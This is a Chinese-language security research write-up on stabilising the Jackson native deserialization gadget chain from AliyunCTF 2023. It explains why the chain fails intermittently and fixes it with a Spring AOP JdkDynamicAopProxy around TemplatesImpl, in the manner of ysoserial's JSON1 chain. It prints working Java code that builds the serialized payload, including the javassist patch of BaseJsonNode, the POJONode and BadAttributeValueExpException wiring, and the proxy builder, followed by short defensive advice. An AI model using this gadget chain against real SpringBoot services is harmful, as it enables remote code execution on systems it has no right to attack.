从JSON1链中学习处理JACKSON链的不稳定性
字数 1529 2025-08-20 18:17:41
JACKSON反序列化利用链稳定性优化研究
1. 背景与概述
在2023年4月的AliyunCTF中公开了一条仅依赖Jackson库的原生反序列化利用链(JACKSON链),该链可直接在无额外依赖的SpringBoot环境下使用。然而,由于Jackson获取类属性顺序的不稳定性,导致有时在触发getOutputProperties方法前就报错。本文参考ysoserial中的JSON1链,通过添加Spring AOP依赖,对JACKSON链进行改进,使其在SpringBoot环境下能稳定触发目标方法。
2. JACKSON链原理解析
2.1 基本构造流程
JACKSON链的构造分为三个关键步骤:
-
修改BaseJsonNode类:
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); -
构造POJONode对象:
POJONode node = new POJONode(makeTemplatesImpl(cmd)); -
设置BadAttributeValueExpException:
BadAttributeValueExpException val = new BadAttributeValueExpException(null); setFieldValue(val, "val", node); return serialize(val);
2.2 攻击原理
POJONode.toString()会触发其包装对象的所有getter方法- 当包装对象为
TemplatesImpl时,最终会触发getOutputProperties方法 getOutputProperties方法可导致任意类加载,实现代码执行
3. 不稳定性问题分析
3.1 问题表现
在SpringBoot 2.7.5 + OpenJDK 1.8.20环境下,反序列化时可能出现:
Caused by: java.lang.NullPointerException
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
3.2 根本原因
BeanSerializerBase.serializeFields获取TemplatesImpl属性的顺序不稳定:
protected void serializeFields(Object bean, JsonGenerator gen, SerializerProvider provider) {
BeanPropertyWriter[] props = ...;
for (int i = 0; i < props.length; ++i) {
prop.serializeAsField(bean, gen, provider);
}
}
可能获取的属性顺序:
transletIndexstylesheetDOMoutputProperties
当stylesheetDOM先于outputProperties被触发时,由于_sdom成员为空,导致NPE,攻击失败。
4. JSON1链的启发
4.1 JSON1链关键思路
ysoserial中的JSON1链通过以下方式确保稳定性:
- 使用
JdkDynamicAopProxy代理TemplatesImpl - 仅暴露
Templates接口的getOutputProperties方法 - 通过代理机制确保只触发目标方法
4.2 关键调用链
TemplatesImpl.getOutputProperties()
-> Method.invoke()
-> AopUtils.invokeJoinpointUsingReflection()
-> JdkDynamicAopProxy.invoke()
-> $Proxy0.getOutputProperties()
-> ... [最终触发代码执行]
4.3 代理机制优势
- 代理类只包含接口方法(
getOutputProperties) - 避免了Jackson随机触发其他getter方法的问题
- 需要Spring AOP依赖(SpringBoot默认包含)
5. JACKSON链改进方案
5.1 改进后的构造流程
public static byte[] getJSON2(String cmd) throws Exception {
// 1. 仍然需要移除BaseJsonNode的writeReplace方法
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
// 2. 使用代理对象构造POJONode
POJONode node = new POJONode(makeTemplatesImplAopProxy(cmd));
// 3. 构造BadAttributeValueExpException
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
return serialize(val);
}
5.2 代理对象构造方法
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
// 1. 创建AdvisedSupport配置
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(makeTemplatesImpl(cmd));
// 2. 创建JdkDynamicAopProxy
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy")
.getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
// 3. 创建代理对象
Object proxy = Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Templates.class},
handler
);
return proxy;
}
5.3 改进效果
BeanSerializerBase.serializeFields只会获取到outputProperties一个属性- 确保稳定触发
getOutputProperties方法 - 避免了因属性顺序导致的NPE问题
6. 技术要点总结
-
原始JACKSON链问题:
- 依赖Jackson的反射机制触发所有getter
- 属性获取顺序不稳定导致可能失败
-
改进方案核心:
- 使用Spring AOP的
JdkDynamicAopProxy - 通过代理限制只暴露目标方法
- 确保稳定触发
getOutputProperties
- 使用Spring AOP的
-
环境要求:
- 需要Spring AOP依赖(SpringBoot默认满足)
- 兼容原始JACKSON链的使用场景
-
防御建议:
- 限制Jackson反序列化的类
- 及时更新Jackson版本
- 监控和阻断可疑的反序列化操作
7. 参考资源
- AliyunCTF 2023 Writeup
- ysoserial项目
- Spring AOP文档
- Jackson官方安全指南